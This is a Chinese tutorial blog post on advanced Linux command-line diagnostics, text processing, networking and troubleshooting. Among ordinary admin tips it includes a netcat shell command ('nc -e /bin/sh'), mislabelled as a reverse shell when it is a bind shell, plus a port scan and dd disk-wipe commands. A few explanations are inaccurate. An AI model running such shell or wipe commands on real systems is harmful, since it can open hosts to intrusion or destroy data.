导读:真正的 Linux 老油子不是靠死记硬背命令,而是掌握了一套“元技能”——知道用什么工具解决什么问题,以及在系统“不听话”时如何快速定位根因。本文将揭示那些高手们秘而不宣的实战技巧。
1. 引言:区分“会用”与“精通”
会用 ls、cd、grep 是基本功,而精通意味着:
- 面对问题时,脑中自动浮现最佳的工具组合
- 系统出故障时,能快速缩小问题范围
- 能够编写可维护、可移植、安全的脚本
老油子的核心优势不是记忆力,而是方法论——一套系统化的故障排查思维框架和工具使用哲学。
2. 信息收集与快速诊断技能
2.1 从 /proc 和 /sys 直接读系统状态
绝大多数人用 top 看 CPU、free 看内存,但老油子知道这些命令的数据来源,并能在没有这些工具时直接读取内核接口。
# CPU 信息(替代 lscpu)
cat /proc/cpuinfo | grep "model name" | head -1
# 内存信息(替代 free)
cat /proc/meminfo | grep -E "^(MemTotal|MemFree|SwapTotal)"
# 进程列表(替代 ps)
cat /proc/[0-9]*/status | grep -E "^(Pid|Name|State)"
# 中断分布(排查硬件瓶颈)
cat /proc/interrupts | head -10
# 内核命令行参数(排查启动问题)
cat /proc/cmdline
2.2 利用 /dev 做硬件级别探测
# 直接读取磁盘的 MBR(无需挂载)
sudo dd if=/dev/sda of=mbr.bin bs=512 count=1
# 测试内存稳定性(写入 /dev/null)
dd if=/dev/zero of=/dev/null bs=1M count=10000
# 生成随机数据(从 /dev/urandom)
dd if=/dev/urandom of=random.data bs=1M count=100
# 清空磁盘(危险!)
dd if=/dev/zero of=/dev/sdb bs=1M status=progress
2.3 dmesg 的高级用法
dmesg 输出内核环形缓冲区的消息,是诊断硬件问题、驱动崩溃、OOM 的第一现场。
# 只看最后 20 行(最新消息)
dmesg | tail -20
# 带时间戳(便于定位时间点)
dmesg -T | tail -20
# 只看错误和警告
dmesg -l err,warn
# 追踪实时内核消息(类似 tail -f)
dmesg -w
# 按关键字过滤(定位 USB 设备问题)
dmesg | grep -i "usb"
# 查看 OOM(内存溢出)记录
dmesg | grep -i "out of memory"
2.4 lsof:恢复误删文件 + 排查端口占用
lsof(List Open Files)是排查“文件被谁占用”和“端口被谁监听”的神器。
# 查看谁在使用某个文件
lsof /var/log/syslog
# 恢复误删但进程仍打开的文件
lsof | grep deleted
# 然后通过 /proc/PID/fd/FD 复制出来
cp /proc/12345/fd/4 recovered_file.txt
# 查看端口监听(无需 netstat)
lsof -i :80
lsof -iTCP -sTCP:LISTEN
# 查看某个用户打开的所有文件
lsof -u username
# 查看某个进程打开的文件
lsof -p 12345
实战价值:/proc/PID/fd/* 是通向已删除文件的“后门”,在误删大文件且进程未重启时,这是唯一的恢复途径。
2.5 strace:追踪进程的系统调用
strace 是定位“程序卡住”或“权限错误”的终极武器——它能看到程序在系统层面的每一个操作。
# 跟踪一个命令的执行过程
strace ls -l
# 附加到运行中的进程
strace -p 12345
# 只跟踪文件操作相关的系统调用
strace -e trace=file ls
# 只跟踪网络相关的系统调用
strace -e trace=network curl example.com
# 统计每种系统调用的次数和时间
strace -c ls
# 输出时间戳(便于性能分析)
strace -tt ls
典型场景:程序报 Permission denied,用 strace 可看到它具体在尝试打开哪个文件时失败。
2.6 ldd:分析二进制依赖
ldd 打印共享库依赖,排查“命令 not found”或库版本冲突。
# 查看 ls 依赖哪些 .so 文件
ldd $(which ls)
# 查看缺失的库
ldd /path/to/binary | grep "not found"
注意:ldd 在某些安全环境中可能不工作,替代方案是 objdump -p /path/to/binary | grep NEEDED。
3. 文本处理与脚本进阶技能
3.1 awk 的单行程序
awk 是文本处理的瑞士军刀。老油子能用一行 awk 完成别人 10 行 Python 的任务。
# 计算一列数字的和
awk '{sum+=$1} END {print sum}' data.txt
# 打印第 2 列和第 4 列
awk '{print $2, $4}' data.txt
# 按逗号分隔的 CSV 处理
awk -F, '{print $1, $3}' data.csv
# 条件过滤(第 3 列大于 100)
awk '$3 > 100' data.txt
# 内置变量:NR(行号)、NF(字段数)、FILENAME
awk '{print NR ": " $0}' data.txt
# 格式化输出
awk '{printf "%-10s %5d\n", $1, $2}' data.txt
3.2 sed 的批量编辑
sed 是流编辑器,适合在脚本中批量修改文件内容。
# 替换文本(只替换第一个匹配)
sed 's/old/new/' file.txt
# 全局替换
sed 's/old/new/g' file.txt
# 在原文件上修改(-i)
sed -i 's/old/new/g' file.txt
# 删除空行
sed '/^$/d' file.txt
# 打印第 5 到第 10 行
sed -n '5,10p' file.txt
# 在匹配行后追加内容
sed '/pattern/a\new line' file.txt
3.3 管道组合:无临时文件的数据流
# 查找最大的 5 个日志文件
find /var/log -name "*.log" -exec du -b {} \; | sort -rn | head -5
# 统计各 IP 的访问次数
cat access.log | awk '{print $1}' | sort | uniq -c | sort -rn | head -10
# 并行处理(利用 xargs -P)
cat urls.txt | xargs -P 10 -I {} curl -s {} > /dev/null
3.4 Here Document:多行输入脚本化
Here Document 允许在脚本中嵌入多行文本,避免临时文件。
# 基本用法
cat << EOF > config.txt
server=192.168.1.1
port=8080
timeout=30
EOF
# 抑制变量展开(加引号)
cat << 'EOF' > script.sh
echo "Current date: $(date)"
EOF
# 向命令传递多行输入
sqlite3 database.db << SQL
SELECT * FROM users;
INSERT INTO logs VALUES('done');
SQL
3.5 timeout:防止命令卡死
# 限制命令运行时间(秒)
timeout 10s ping google.com
# 超时时发送指定信号(默认 SIGTERM)
timeout -s KILL 10s ./long-running-task
3.6 coproc:协同进程(Bash 高级特性)
coproc 创建一个与 Shell 双向通信的子进程,适合需要交互的自动化场景。
# 启动 bc 作为协同进程
coproc BC { bc -l; }
# 发送计算命令
echo "scale=2; 10/3" >&${BC[1]}
# 读取结果
read output <&${BC[0]}
echo $output
3.7 flock:Shell 脚本互斥锁
防止同一个脚本被并发执行,避免写冲突。
#!/bin/bash
exec 200>/tmp/myscript.lock
flock -n 200 || { echo "Script already running"; exit 1; }
# 临界区代码...
4. 文件系统与存储的高级操作
4.1 find 的深度用法
# 按权限查找并执行操作
find / -perm -4000 -exec ls -l {} \; > suid_list.txt
# 按时间查找(最近 7 天修改)
find . -type f -mtime -7
# 按大小查找(大于 100M)
find . -type f -size +100M
# 排除目录
find . -path ./cache -prune -o -name "*.log" -print
# 对结果并行执行(提高效率)
find . -name "*.jpg" -print0 | xargs -0 -P 4 -I {} convert {} -resize 50% {}
4.2 xargs 的高级用法
xargs 是 find 的最佳搭档,负责将输入转换为命令参数。
# 批量重命名
find . -name "*.jpeg" | xargs -I {} mv {} {}.jpg
# 每批处理 100 个文件
find . -name "*.log" | xargs -n 100 rm
# 并行处理(-P 指定并发数)
cat urls.txt | xargs -P 10 -I {} curl -O {}
# 处理包含空格的文件名(需配合 find -print0)
find . -name "*.txt" -print0 | xargs -0 grep "pattern"
4.3 dd 的数据复制与转换
# 磁盘克隆
dd if=/dev/sda of=/dev/sdb bs=4M status=progress
# 创建指定大小的空文件
dd if=/dev/zero of=test.img bs=1M count=100
# 字节级别的替换(字符串替换)
echo "Hello World" | dd conv=swab # 交换字节序
# 磁盘擦除(安全删除)
dd if=/dev/urandom of=/dev/sda bs=4M status=progress
4.4 使用 stat 获取文件的元数据
stat 比 ls -l 提供更详细的文件信息。
# 查看文件的 inode、权限、时间戳
stat file.txt
# 自定义输出格式
stat -c "%n %s %Y" *.txt # 文件名、大小、修改时间戳
# 查看文件系统信息
stat -f /home
4.5 通过 watch 实时监控命令输出
# 每 2 秒查看一次磁盘使用
watch -n 2 df -h
# 高亮变化的部分
watch -d "ls -l"
# 监控 GPU 使用(需要 nvidia-smi)
watch -n 1 nvidia-smi
5. 网络调试与排查技能
5.1 curl 的高级调试
# 查看完整的请求/响应头
curl -v https://example.com
# 只查看响应头
curl -I https://example.com
# 指定 DNS 服务器(绕过本地 DNS)
curl --dns-servers 8.8.8.8 https://example.com
# 限速测试
curl --limit-rate 100K https://example.com/largefile.zip
# 重试机制
curl --retry 3 --retry-delay 2 https://unstable-server.com
# 输出详细的计时信息(性能分析)
curl -w "@curl-format.txt" -o /dev/null -s https://example.com
curl-format.txt 示例:
time_namelookup: %{time_namelookup}\n
time_connect: %{time_connect}\n
time_starttransfer: %{time_starttransfer}\n
time_total: %{time_total}\n
5.2 nc (netcat) 的瑞士军刀能力
# 端口扫描
nc -zv 192.168.1.1 1-1000
# 传输文件
nc -l 1234 < file.txt # 接收端
nc 192.168.1.2 1234 > file.txt # 发送端
# 简单聊天
nc -l 1234 # A 端
nc 192.168.1.2 1234 # B 端
# 反向 Shell(安全测试用)
nc -e /bin/sh -l 1234 # 目标机(需支持 -e)
nc 192.168.1.2 1234 # 攻击机
# 测试 UDP 连接
nc -u -z 192.168.1.1 53
5.3 tcpdump 的抓包过滤
# 抓取 HTTP 流量
tcpdump -i eth0 -A 'tcp port 80'
# 抓取特定 IP 的所有流量
tcpdump -i eth0 host 192.168.1.100
# 保存到文件供 Wireshark 分析
tcpdump -i eth0 -w capture.pcap
# 抓取 Ping 包
tcpdump -i eth0 icmp
# 限制抓包数量(-c)和大小(-s)
tcpdump -i eth0 -c 100 -s 1500 -w sample.pcap
5.4 ss:现代 netstat
# 所有监听端口
ss -tlnp
# 查看所有 TCP 连接(包含进程名)
ss -tup
# 查看所有 UDP 连接
ss -uln
# 查看连接统计(重传、丢包)
ss -s
# 过滤特定状态
ss -t state established
5.5 iptables 快速查看规则
# 查看当前防火墙规则(带行号)
iptables -L -n -v --line-numbers
# 查看 NAT 规则
iptables -t nat -L -n -v
# 删除某条规则
iptables -D INPUT 3 # 删除 INPUT 链的第 3 条规则
6. 进程管理与性能调优
6.1 ps 的高级输出格式
# 查看完整的进程命令(包括参数)
ps auxww
# 自定义输出列
ps -e -o pid,ppid,cmd,%cpu,%mem --sort=-%cpu
# 查看进程树(另一种风格)
ps -e -o pid,args --forest
# 查看特定用户的进程
ps -u username
6.2 top / htop 的交互命令
top 运行时支持的交互键:
| 按键 | 作用 |
|---|---|
P |
按 CPU 使用率排序 |
M |
按内存使用率排序 |
T |
按累计时间排序 |
1 |
展开/折叠多核 CPU |
c |
显示完整命令路径 |
k |
终止进程 |
r |
调整进程优先级(nice) |
htop 的鼠标支持和颜色高亮使其更直观,老油子通常会在第一时间安装它:
sudo apt install htop
6.3 nice / renice:调整进程优先级
# 以低优先级运行(nice 值越高优先级越低)
nice -n 19 ./background-task
# 调整已运行进程的优先级
renice -n -5 -p 12345 # 提高优先级(需要 root)
6.4 taskset:绑定 CPU 核心
# 将进程绑定到特定 CPU 核心
taskset -c 0,1 ./myapp
# 查看进程当前绑定的 CPU
taskset -p 12345
6.5 ulimit:资源限制
# 查看所有限制
ulimit -a
# 设置最大文件打开数
ulimit -n 65535
# 设置最大进程数
ulimit -u 10240
# 设置 core dump 大小(0 表示禁止)
ulimit -c 0
7. 环境与配置管理
7.1 快速切换环境:env 与 exec
# 在干净环境中运行命令(忽略当前环境变量)
env -i PATH=/bin:/usr/bin bash
# 替换当前进程(不产生子进程)
exec ./myapp
7.2 别名 vs 函数 vs 脚本
| 方式 | 适用场景 | 示例 |
|---|---|---|
| 别名 | 简单参数替换 | alias ll='ls -alF' |
| 函数 | 需要参数处理 | dl() { curl -O "$1"; } |
| 脚本 | 复杂逻辑、复用 | 存放于 ~/bin/ 目录 |
# 函数示例:带参数处理的 gzip 包装
gz() {
if [ -f "$1" ]; then
gzip -k "$1"
else
echo "File not found: $1"
fi
}
7.3 trap:在脚本退出时自动清理
#!/bin/bash
temp_file=$(mktemp)
trap "rm -f $temp_file" EXIT
# 脚本主逻辑...
7.4 利用 PROMPT_COMMAND 记录命令历史
# 每个命令执行前记录时间戳
PROMPT_COMMAND='history -a; echo "$(date) - $BASH_COMMAND" >> ~/.command_log'
8. 故障排查的思维框架
8.1 问题定位四步法
| 步骤 | 操作 | 工具 |
|---|---|---|
| 1. 确认症状 | 用户看到什么? | 直接观察 |
| 2. 缩小范围 | 是网络?磁盘?内存? | dmesg, lsof, strace |
| 3. 查看日志 | 系统/应用日志里有什么? | journalctl, /var/log/ |
| 4. 假设验证 | 尝试修复并观察结果 | strace, tcpdump |
8.2 常见问题速查表
| 症状 | 可能的根因 | 诊断命令 |
|---|---|---|
| 命令找不到 | PATH 问题 | echo $PATH, which cmd |
| 权限被拒绝 | 文件权限/所有者 | ls -l, id, stat |
| 磁盘写满 | 磁盘空间/inode 耗尽 | df -h, df -i, du -sh * |
| 进程杀不掉 | 僵尸进程/内核问题 | ps aux, dmesg |
| 网络不通 | 防火墙/DNS 问题 | ss -tlnp, iptables -L, dig |
| 内存不足 | 内存泄漏/配置不足 | free -h, top, ps aux --sort=-%mem |
8.3 应急工具箱(静态编译版)
在没有包管理器的受限环境(如救援模式),预置静态编译的二进制文件:
# 常用静态工具
busybox # 集成了 100+ 命令
socat-static # 网络转发
nmap-static # 端口扫描
9. 总结:从“知道命令”到“理解系统”
真正的老油子技能,本质上是将系统知识转化为可操作的方法论:
- 信息收集:从
/proc、/sys、dmesg直接读取内核状态 - 进程追踪:用
strace、lsof、/proc/PID/fd深入到系统调用层 - 数据流处理:用
awk、sed、管道组合完成复杂的文本处理 - 故障定位:通过日志、系统状态、进程行为缩小问题范围
这份技能清单的核心价值不在于记忆每一个命令,而在于建立一套面对未知问题时的系统化解决框架:
- 遇到性能问题 → 依次检查 CPU(
top)、内存(free)、磁盘(iostat)、网络(ss) - 遇到权限问题 → 检查文件权限(
ls -l)、进程能力(capsh)、SELinux(audit2why) - 遇到网络问题 → 分层排查:网卡(
ip link)、路由(ip route)、防火墙(iptables)、服务(ss -tlnp)
当这些技能内化成本能反应时,你就成为了别人眼中那个“什么都能搞定”的老油子。
原文 https://blog.csdn.net/2301_79518550/article/details/161921468